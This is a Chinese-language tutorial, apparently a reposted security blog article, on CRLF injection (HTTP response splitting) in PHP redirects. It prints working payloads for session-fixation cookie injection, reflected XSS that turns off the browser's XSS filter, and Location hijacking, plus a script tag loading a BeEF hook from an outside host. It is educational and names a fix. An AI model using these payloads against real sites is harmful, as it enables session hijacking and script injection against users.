CRLF Injection漏洞利用与学习
http header注入 CRLF
今天遇到一个扫描器报的HTTP header injection 一直都对这个有些了解,但没有深入研究,刚好利用这个机会好好学习了下,就不重复造轮子了,转载了一篇文章到博客(原文链接http://uknowsec.cn/posts/notes/CRLF-Injection%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AD%A6%E4%B9%A0.html?utm_source=tuicool&utm_medium=referral)
CRLF简介
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
基础知识
PHP header() 函数
定义和用法
header() 函数向客户端发送原始的 HTTP 报头。
认识到一点很重要,即必须在任何实际的输出被发送之前调用 header() 函数(在 PHP 4 以及更高的版本中,您可以使用输出缓存来解决此问题):
1
2
3
4
5
|
<?php
// 结果出错
// 在调用 header() 之前已存在输出
header('Location: http://www.example.com/');
?>
|
语法
1
|
header(string,replace,http_response_code)
|
参数 | 描述 |
---|---|
string | 必需。规定要发送的报头字符串。 |
replace | 可选。指示该报头是否替换之前的报头,或添加第二个报头。默认是 true(替换)。false(允许相同类型的多个报头)。 |
http_response_code | 可选。把 HTTP 响应代码强制为指定的值。(PHP 4 以及更高版本可用) |
提示和注释
注释:从 PHP 4.4 之后,该函数防止一次发送多个报头。这是对头部注入攻击的保护措施。
URL重定向/跳转
对于URL跳转的实现一般会有几种实现方式:
- META标签内跳转
- javascript跳转
- header头跳转
通过以GET或者POST的方式接收将要跳转的URL,然后通过上面的几种方式的其中一种来跳转到目标URL。一方面,由于用户的输入会进入Meta,javascript,http头所以都可能发生相应上下文的漏洞,如xss等等,但是同时,即使只是对于URL跳转本身功能方面就存在一个缺陷,因为会将用户浏览器从可信的站点导向到不可信的站点,同时如果跳转的时候带有敏感数据一样可能将敏感数据泄漏给不可信的第三方。
譬如一个典型的登录跳转如下:
1
2
3
4
5
6
7
|
<?php
$url=$_GET['jumpto'];
header("Location: $url");
?>
|
如果jumpto没有任何限制,所以恶意用户可以提交
1
|
http://www.wooyun.org/login.php?jumpto=http://www.evil.com
|
漏洞利用
- 利用CRLF Injection设置一个SESSION,造成一个“会话固定漏洞”
- 利用CRLF Injection造成一个无视浏览器Filter的反射型XSS
会话固定漏洞
一般网站会在HTTP头中用Location: http://baidu.com 这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样:
1
2
3
4
5
6
|
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
|
但如果我们输入的是
1
|
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
|
注入了一个换行,此时的返回包就会变成这样:
1
2
3
4
5
6
7
|
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
|
这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
过Filter的反射型XSS
HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数 http://test.sina.com.cn/?url=xxx ,xxx放在Location后面作为一个跳转。如果我们输入的是
1
|
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
|
我们的返回包就会变成这样:
1
2
3
4
5
6
7
|
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
|
之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是我们这里这个标签就会显示出来,造成一个XSS。
为什么说是无视浏览器filter的,这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。
怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。
说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。
修复
过滤\r 、\n之类的换行符,避免输入的数据污染到其他HTTP头。
Reference
CRLF Injection漏洞的利用与实例分析
URL重定向/跳转漏洞
这里增加一下在看到别的大牛写的对于此漏洞的利用思路
1) cookie定制。
在某种意义上来说,http回显给的cookie 可以被操控,因为 可以通过“%0aset-cookie:cookie-value;%0a” 来设置一些身份信息, 比如说某些条件下,访问web后台的时候 人家给你一个cookie 但是通过burp 你没办法去修改的时候,这个CRLF 可以帮你去重置一下cookie 设定值。 也就达到了绕过cookie 验证的目的,这个可利用性较高,而且能遇到实属缘分;
2)xss跨站
说道跨站就没啥意思了,弹自己,鸡肋, 攻击方法可以采用“xxxxx%0d%0aContent-Tpye:html%0d%0a<html><script>alert(1)</script></html>%0a”来弹一弹,不过请注意,302跳转没办法弹框。。。。当然你可以考虑扔个beef上去。。 比如 <script src = https://www.t00ls.net/beef.js></script>
3)跳转劫持
说这个其实也没什么太大的作用,但是http头可以被定制的话这个其实还是有点意思的。攻击方法“%0d%0aLocation:https://www.t00ls.net%0a” 如果说配合浏览器0day的话可以溢出浏览器,不过受害者还是自己,这个有点头疼。另外,302跳转时因为有一个location存在所以会出现协议违背。无法跳转。。。
4)钓鱼
攻击手法和xss差不多,不过工程量略大,各种写html代码进去,可能很蛋疼。。。。当然了。这个还是给自己看。
还有一篇文章总结的很不错,附上链接
CRLF-injection-简单总结
http://www.bendawang.site/2016/01/25/CRLF-injection-%E7%AE%80%E5%8D%95%E6%80%BB%E7%BB%93/